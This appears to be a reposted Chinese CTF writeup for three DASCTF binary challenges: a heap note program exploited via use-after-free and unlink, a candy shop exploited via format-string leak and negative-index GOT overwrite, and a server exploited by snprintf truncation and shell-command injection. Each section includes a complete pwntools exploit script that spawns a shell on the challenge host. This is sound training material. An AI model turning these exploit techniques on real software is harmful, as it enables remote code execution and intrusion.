DASCTF二进制专项部分Writeup

这篇具有很好参考价值的文章主要介绍了DASCTF二进制专项部分Writeup。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

easynote

 create:堆大小可以任意分配只要不超过0xFFF

create()
 unsigned __int64 create()
{
  int i; // [rsp+0h] [rbp-20h]
  unsigned int size; // [rsp+4h] [rbp-1Ch]
  void *size_4; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; *(&chunk_ptr + i); ++i )
    ;
  puts("The length of your content --->");
  read(0, buf, 4uLL);
  size = atoi(buf);
  if ( size > 0xFFF )
  {
    puts("Are you kidding me?");
    exit(0);
  }
  size_4 = malloc(size);
  if ( !size_4 )
  {
    puts("Here something goes wrong!");
    exit(0);
  }
  puts("Content --->");
  read(0, size_4, size);
  *(&chunk_ptr + i) = size_4;
  return __readfsqword(0x28u) ^ v5;
}

 delete:释放之后没做任何处理,存在UAF和Double Free。

delete()
 unsigned __int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Index --->");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( !*(&chunk_ptr + v1) )
  {
    puts("Are you kididng me?");
    exit(0);
  }
  free(*(&chunk_ptr + v1));
  puts("done");
  return __readfsqword(0x28u) ^ v3;
}

edit:没有对索引进行处理,只要索引处是一个可写的地址就行,而且写入大小也是自己控制,可以伪造堆。

edit()
unsigned __int64 edit()
{
  unsigned int v1; // [rsp+8h] [rbp-18h]
  unsigned int nbytes; // [rsp+Ch] [rbp-14h]
  char nbytes_4; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Index --->");
  read(0, &nbytes_4, 4uLL);
  v1 = atoi(&nbytes_4);
  if ( !*(&chunk_ptr + v1) )
  {
    puts("Are you kididng me?");
    exit(0);
  }
  puts("The length of your content --->");
  read(0, &nbytes_4, 4uLL);
  nbytes = atoi(&nbytes_4);
  puts("Content --->");
  read(0, *(&chunk_ptr + v1), nbytes);
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 show()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Index --->");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( !*(&chunk_ptr + v1) )
  {
    puts("Are you kididng me?");
    exit(0);
  }
  printf("Content: %s\n", (const char *)*(&chunk_ptr + v1));
  puts("done");
  return __readfsqword(0x28u) ^ v3;
}

解题思路:

1、创建三个堆块,第一个堆块大小要可以装下一个伪造的堆(不属于fastbin),后两个不属于fastbin就可以。编号:chunk0、chunk1、chunk2。

2、释放chunk0,利用show打印chunk0,获得main_arena+0x58的地址,main_arena的地址在malloc_trim函数里面。计算出libc的基址。

3、重新申请chunk0,写入伪造的堆块,将chunk1的 PREV_INUSE 置为0,释放chunk1,利用unlink修改指向chunk0的地址为伪造的堆块的fd。

4、往chunk_ptr里面写入__free_hook的地址,修改__free_hook为system,释放chunk3(chunk3内容为/bin/sh),获得shell。

需要注意的地方:

main_arena的地址查找

main_arena
 gdb-peda$ heap
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x1209000
Size: 0xa1
fd: 0x7f658cb98b78
bk: 0x7f658cb98b78

Allocated chunk
Addr: 0x12090a0
Size: 0x90

Allocated chunk | PREV_INUSE
Addr: 0x1209130
Size: 0xb1

Top chunk | PREV_INUSE
Addr: 0x12091e0
Size: 0x20e21

gdb-peda$ x 0x7f658cb98b78
0x7f658cb98b78 <main_arena+88>:	0x00000000012091e0
malloc_trim
// 源码
int __malloc_trim(size_t s) {
	int result = 0;

	if (__malloc_initialized < 0)
		ptmalloc_init();
	mstate ar_ptr = &main_arena;
    
// IDA 
__int64 __fastcall malloc_trim(__int64 a1) {
  if ( dword_3C4144 < 0 )
    sub_854D0();
  v21 = 0;
  v18 = &dword_3C4B20;

在libc-2.23,main_arena在__malloc_hook + 0x10处

.data:00000000003C4B10                               public __malloc_hook ; weak
.data:00000000003C4B10 A0 58 08 00 00 00 00 00       __malloc_hook dq offset sub_858A0       ; DATA XREF: LOAD:000000000000A380↑o
.data:00000000003C4B10                                                                       ; .got:__malloc_hook_ptr↑o
.data:00000000003C4B18 00 00 00 00 00 00 00 00       align 20h
.data:00000000003C4B20 00 00 00 00                   dword_3C4B20 dd 0

伪造的堆块需要满足的条件

伪chunk->fd->bk == P && 伪chunk->bk->fd == P(在C语言里面->表示左边的结构体变量的地址+右边成员在左边结构体的偏移量),说最简单些就是伪chunk的fd处的地址指向存在这个伪chunk的地址的地址减去bk(32位为0xC,64位为0x18),还是看图理解吧。

DASCTF二进制专项部分Writeup

当释放chunk1时因为prev_inuse为0,会向上合并执行unlink,就会将0x0100处的值修改为fd(0x00E8)。这里如果想深入了解可以去阅读libc源码。

exp

from pwn import *

debug = 0
local = 0
host = "node4.buuoj.cn"
port = 27934
filename = "./pwn"

def malloc(size, data):
    p.sendafter(b'5. exit\n', b'1')
    p.sendafter(b'The length of your content --->\n', f'{size}'.encode())
    p.sendafter(b'Content --->\n', data)

def edit(index, size, data):
    p.sendafter(b'5. exit\n', b'2')
    p.sendafter(b'Index --->\n', f'{index}'.encode())
    p.sendafter(b'The length of your content --->\n', f'{size}'.encode())
    p.sendafter(b'Content --->\n', data)

def free(index):
    p.sendafter(b'5. exit\n', b'3')
    p.sendafter(b'Index --->\n', f'{index}'.encode())

def show(index):
    p.sendafter(b'5. exit\n', b'4')
    p.sendafter(b'Index --->\n', f'{index}'.encode())

p = process(filename) if not debug and local else gdb.debug(filename, "b main\nb *0x400C69") if debug else remote(host, port)
elf = ELF(filename)
libc = ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so") if local else ELF('./libc-2.23.so')

chunk = 0x6020C0

malloc(0x98, b'A' * 0x8)
malloc(0x88, b'A' * 0x8)
malloc(0xA8, b'/bin/sh\x00')
free(0)
show(0)
p.recvuntil(b'Content: ')
main_arena_va = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00')) - 0x58
libcbase = main_arena_va - libc.sym['__malloc_hook'] - 0x10
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
print(f'main_arena_va => {hex(main_arena_va)}')
print(f'libcbase => {hex(libcbase)}')

malloc(0x98, b'A' * 0x8)    # free(): corrupted unsorted chunks
payload = p64(0) + p64(0x91) + p64(chunk - 0x18) + p64(chunk - 0x10)
payload = payload.ljust(0x90, b'\x00')
payload += p64(0x90) + p64(0x90)
edit(0, len(payload), payload)
free(1)
payload = p64(0) * 3 + p64(free_hook)
edit(0, 0x20, payload)
edit(0, 0x8, p64(system))
free(2)
p.interactive()

Candy_Shop

 buy_canary:在写入canarys时,索引可以为负数,因为got表在canarys上面可以改写got表,但是要先改一下money(同样也在canarys上面)的值。

buy_canary()
 unsigned __int64 buy_canary()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  char v2[2]; // [rsp+6h] [rbp-Ah] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts(&s);
  printf("You just have %d dollors\n", (unsigned int)money);
  puts("(T)hree dollors a Krola");
  puts("(t)wo dollors a Slania");
  puts("(f)our dollors a Koparia");
  printf("Which one you want to bye: ");
  getstring(v2, 2LL);
  if ( v2[0] == 84 && (unsigned int)money > 2 )
  {
    money -= 3;
  }
  else if ( v2[0] == 116 && (unsigned int)money > 1 )
  {
    money -= 2;
  }
  else
  {
    if ( v2[0] != 102 || (unsigned int)money <= 3 )
    {
      puts("You wanna fool me???");
      exit(0);
    }
    money -= 4;
  }
  puts("Which pocket would you like to put the candy in?");
  printf(": ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 2 )
    exit(0);
  puts("Give your candy a name!");
  printf(": ");
  getstring((char *)&canarys + 19 * v1, 19LL);
  puts("Done!!!");
  return v3 - __readfsqword(0x28u);
}

gift:存在格式化字符串漏洞,动态调试可以发现在调用printf时,RCX为write + 23,进而泄露libc地址。

      if ( v3 )
      {
        puts("Give me your name: ");
        getstring(format, 8LL);
        printf("booooo!!!!\nyou have received a gift:");
        printf(format);
        puts(&s);
        --v3;
      }

解题思路:

利用buy_canary写入got表,修改memset为system,获得shell。

exp

from pwn import *

debug = 0
local = 0
host = "139.155.132.59"
port = 9999
filename = "./pwn"

def buy(index, data):
    p.sendlineafter(b'option: ', b'b')
    p.sendlineafter(b'Which one you want to bye: ', b't')
    p.sendlineafter(b': ', f'{index}'.encode())
    p.sendlineafter(b': ', data)

p = process(filename) if not debug and local else gdb.debug(filename, "b main\n b _buy_canary") if debug else remote(host, port)
elf = ELF(filename)
libc = ELF("./libc.so.6")

p.sendlineafter(b'option: ', b'g')
p.sendlineafter(b'Give me your name: \n', b'%3$p')
p.recvuntil(b'0x')
write = int(p.recvuntil(b'\n').strip().decode(), 16) - 23
libcbase = write - libc.sym['write']
printf = libcbase + libc.sym['printf']
system = libcbase + libc.sym['system']
print(f'write => {hex(write)}')
print(f'libcbase => {hex(libcbase)}')
print(f'printf => {hex(printf)}')
print(f'system => {hex(system)}')

p.sendlineafter(b'option: ', b'e')    # 执行一次memset将memset地址绑定的got表,因为后面要利用memeset获得shell

buy(-2, b'\xFF' * 11)
buy(0, b'/bin/sh\x00')
payload = b'A' * 6 + p64(printf) + p64(system)[:-3]
# 这里不使用上面定义的buy是因为,需要把payload写入程序,长度正好是19如果多输入一个\n就会执行gift,还要输入其他内容。
index = -10
p.sendlineafter(b'option: ', b'b')
p.sendlineafter(b'Which one you want to bye: ', b't')
p.sendlineafter(b': ', f'{index}'.encode())
p.sendafter(b': ', payload)

p.sendlineafter(b'option: ', b'e')
p.interactive()

server

观察第一个函数里面的s和读入s字符串的长度,观察第二个函数的v1

仔细观察
 unsigned __int64 sub_141A()
{
  char s[32]; // [rsp+0h] [rbp-60h] BYREF
  char name[56]; // [rsp+20h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Hello, CTFer.");
  puts("Please input the key of admin : ");
  fgets(s, 28, stdin);
  snprintf(name, 0x20uLL, "/keys/%s.key", s);
  if ( access(name, 0) == -1 )
  {
    puts("Sorry, you are not winmt.");
  }
  else
  {
    puts("Hello, winmt.");
    dword_404C = 1;
  }
  return __readfsqword(0x28u) ^ v3;
}

unsigned __int64 sub_16B5()
{
  char v1[16]; // [rsp+10h] [rbp-50h] BYREF
  char s[56]; // [rsp+20h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Hello, winmt.");
  puts("Please input the username to add : ");
  if ( (unsigned int)sub_14DA(v1) == -1 )
  {
    puts("Woc! You're a hacker!");
    dword_404C = 0;
    exit(-1);
  }
  snprintf(s, 0x30uLL, "add_user -u '%s' -p '888888'", v1);
  system(s);
  puts("Success!");
  return __readfsqword(0x28u) ^ v3;
}

动态调试容易发现漏洞

snprintf只会保留指定长度的字符,输入长一些的字符串绕过access。

 ► 0x5633e609b495    call   access@plt                <access@plt>
        name: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh'
        type: 0x0

登录成功之后发现,两个函数的栈空间里面的变量有重叠的地方,在登录的时候构造合适的字符串,基本不过管第二个函数的过滤。

 ► 0x5633e609b73c    call   snprintf@plt                <snprintf@plt>
        s: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh'
        maxlen: 0x30
        format: 0x5633e609c102 ◂— "add_user -u '%s' -p '888888'"
        vararg: 0x7ffe2d1f5b50 ◂— "'\n/bin/sh\n"
        
        
 ► 0x5633e609b748    call   system@plt                <system@plt>
        command: 0x7ffe2d1f5b60 ◂— "add_user -u ''\n/bin/sh\n' -p '888888'"

exp

from pwn import *

debug = 0
local = 0
host = "node4.buuoj.cn"
port = 26010
filename = "./pwn_7"

p = process(filename) if not debug and local else gdb.debug(filename, "b alarm\nc\nd\nfinis") if debug else remote(host, port)
elf = ELF(filename)

p.sendlineafter(b'Your choice >> ', b'1')
p.sendlineafter(b'Please input the key of admin : \n', b'../////////////////bin/sh')

p.sendlineafter(b'Your choice >> ', b'2')
p.sendlineafter(b'Please input the username to add : \n', b"'")
p.sendline(b'cat flag')
p.interactive()

 文章来源地址https://www.toymoban.com/news/detail-471917.html

到了这里,关于DASCTF二进制专项部分Writeup的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 第78讲:截取MySQL Binlog二进制日志中特定部分内容的技巧

    我们通过Binlog二进制日志恢复数据时,一般都会先用备份恢复全库的数据,然后再使用Binlog恢复备份中不存在的数据,因此再使用Binlog进行数据恢复时,并不是直接恢复整个Binlog日志中的数据,只是恢复Binlog中的部分数据。 根据特定的情况以及需求去恢复Binlog日志中的数据时

    2024年02月03日
    浏览(38)
  • [云原生案例2.1 ] Kubernetes的部署安装 【单master集群架构 ---- (二进制安装部署)】节点部分

    Minikube是一个工具,可以在本地快速运行一个单节点微型K8S,仅用于学习、预览K8S的一些特性使用。 Kubeadm也是一个工具,提供kubeadm init和kubeadm join,用于快速部署K8S集群,相对简单。 生产首选,从官方下载发行版的二进制包,手动部署每个组件和自签TLS证书,组成K8S集群,

    2024年02月05日
    浏览(42)
  • 【十进制 转 二进制】【二进制 转 十进制】10进制 VS 2进制【清华大学考研机试题】

    原题链接 本题我们先需要知道 十进制 如何转 二进制 二进制 如何转 十进制 十进制 如何转 二进制: 十进制转成二进制 例如 173 转成 二进制 就把173 短除法 除到0 然后 得到的余数, 从下往上写 二进制 转成 十进制 利用如图方法,把二进制 转成 十进制 本题是高精度,如何

    2023年04月26日
    浏览(35)
  • 将数据转二进制流文件,用PostMan发送二进制流请求

    一、将byte数组转二进制流文件,并保存到本地 byte [] oneshotBytes=new byte[]{78,-29,51,-125,86,-105,56,82,-94,-115,-22,-105,0,-45,-48,-114,27,13,38,45,-24,-15,-13,46,88,-90,-66,-29,52,-23,40,-2,116,2,-115,17,36,15,-84,88,-72,22,-86,41,-90,-19,-58,19,99,-4,-63,29,51,-69,117,-120,121,3,-103,-75,44,64,-58,-34,73,-22,110,-90,92,-35,-18,-128,16,-

    2024年02月15日
    浏览(29)
  • java图片转二进制流_java将文件转化成二进制流

    二进制流的主要编码格式是base64码。可以在网上找一些在线转base64编码的网站进行尝试转换。 例如:http://imgbase64.duoshitong.com/然后通过前端展现和下载。 前端显示二进制流图片(src中放置base64码及二进制流) 前端下载二进制流文件(herf中放置base64码及二进制流,download后面放

    2024年02月06日
    浏览(44)
  • 后端返回二进制流,前端处理二进制文件流,实现预览图片以及PDF

    1、首先预览PDF需要 后端 将响应头 Content-Type 设置为PDF类型 application/pdf ,不能预览,会直接下载 2、 前端 定义接口:并设置相应类型 responseType 为 blob 请求数据:通过 window.URL.createObjectURL(res) 转成本地预览地址, 在通过 window.open() 方法打开转成本地预览地址即可预览PDF,如下

    2024年02月15日
    浏览(39)
  • Python中二进制十进制转换

            hello大家好,今天我想和大家分享一下在Python中进制转换加减法的方法。         比如现在我们需要求100 + 10,然后需要将结果110以二进制的形式返回,又或者我们现在有一个小需求,就是要计算二进制1010和二进制1011的和是多少,然后依旧以二进制的形式返回

    2024年02月16日
    浏览(37)
  • 【Python 千题 —— 基础篇】进制转换:十进制转二进制

    题目描述 计算机底层原理中常使用二进制来表示相关机器码,学会将十进制数转换成二进制数是一个非常重要的技能。现在编写一个程序,输入一个十进制数,将其转换成二进制数。 输入描述 输入一个十进制数。 输出描述 程序将输入的十进制数转换为二进制数,并输出其

    2024年02月07日
    浏览(52)
  • python十进制转二进制方法详解

      在 Python中,十进制数可以转换成二进制数。例如: 但是,十进制数不是直接转换成二进制,而是先转换成二进制数,再转换成十进制。接下来我们来看看具体的实现方法: 首先我们来看一个例子: 上面代码中,使用了循环遍历的方法。从这个例子中我们可以发现,需要遍

    2023年04月19日
    浏览(79)
  • C语言【进制转换】35:输出二进制补码

    总时间限制:  1000ms 内存限制:  65536kB 描述 输入一个整型(int)的整数,输出它的32位二进制补码。 输入 一个整型整数。 输出 输出一行,即该整数的补码表示。 样例输入 样例输出 00000000000000000000000000000111 代码实现: 首先要明白 (按位与)和 (左移)的用法 规则: 11=1 10=

    2024年02月07日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包